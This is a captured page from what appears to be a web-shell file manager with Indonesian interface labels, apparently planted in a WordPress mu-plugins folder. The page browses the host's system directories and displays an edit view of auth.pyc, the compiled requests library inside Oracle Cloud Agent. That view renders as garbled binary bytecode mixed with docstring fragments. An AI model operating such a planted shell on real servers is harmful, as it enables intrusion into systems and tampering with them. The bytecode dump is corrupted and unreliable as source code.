📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
libexec
›
oracle-cloud-agent
›
plugins
›
osms
›
oci
›
_vendor
›
📁 requests
📍
Lokasi:
/usr/libexec/oracle-cloud-agent/plugins/osms/oci/_vendor/requests
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: auth.pyc
a M��fd) � @ s� d Z ddlZddlZddlZddlZddlZddlZddlmZ ddl m Z mZmZ ddl mZ ddlmZ ddlmZ d Zd Zdd� ZG d d� de�ZG dd� de�ZG dd� de�ZG dd� de�ZdS )z] requests.auth ~~~~~~~~~~~~~ This module contains the authentication handlers for Requests. � N)� b64encode� )�urlparse�str� basestring)�extract_cookies_to_jar)�to_native_string)�parse_dict_headerz!application/x-www-form-urlencodedzmultipart/form-datac C s� t | t�s&tjd�| �td� t| �} t |t�sPtjd�t|��td� t|�}t | t�rd| �d�} t |t�rx|�d�}dt t d�| |f���� � }|S )zReturns a Basic Auth string.z�Non-string usernames will no longer be supported in Requests 3.0.0. Please convert the object you've passed in ({!r}) to a string or bytes object in the near future to avoid problems.)�categoryz�Non-string passwords will no longer be supported in Requests 3.0.0. Please convert the object you've passed in ({!r}) to a string or bytes object in the near future to avoid problems.�latin1zBasic � :) � isinstancer �warnings�warn�format�DeprecationWarningr �type�encoder r �join�strip)�username�password�authstr� r �}/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/oci/_vendor/requests/auth.py�_basic_auth_str! s0 �� �� �r c @ s e Zd ZdZdd� ZdS )�AuthBasez4Base class that all auth implementations derive fromc C s t d��d S )NzAuth hooks must be callable.)�NotImplementedError��self�rr r r �__call__P s zAuthBase.__call__N��__name__� __module__�__qualname__�__doc__r! r r r r r M s r c @ s0 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd S )� HTTPBasicAuthz?Attaches HTTP Basic Authentication to the given Request object.c C s || _ || _d S �N)r r �r r r r r r �__init__W s zHTTPBasicAuth.__init__c C s( t | jt|dd �k| jt|dd �kg�S �Nr r ��allr �getattrr �r �otherr r r �__eq__[ s �zHTTPBasicAuth.__eq__c C s | |k S r( r r/ r r r �__ne__a s zHTTPBasicAuth.__ne__c C s t | j| j�|jd<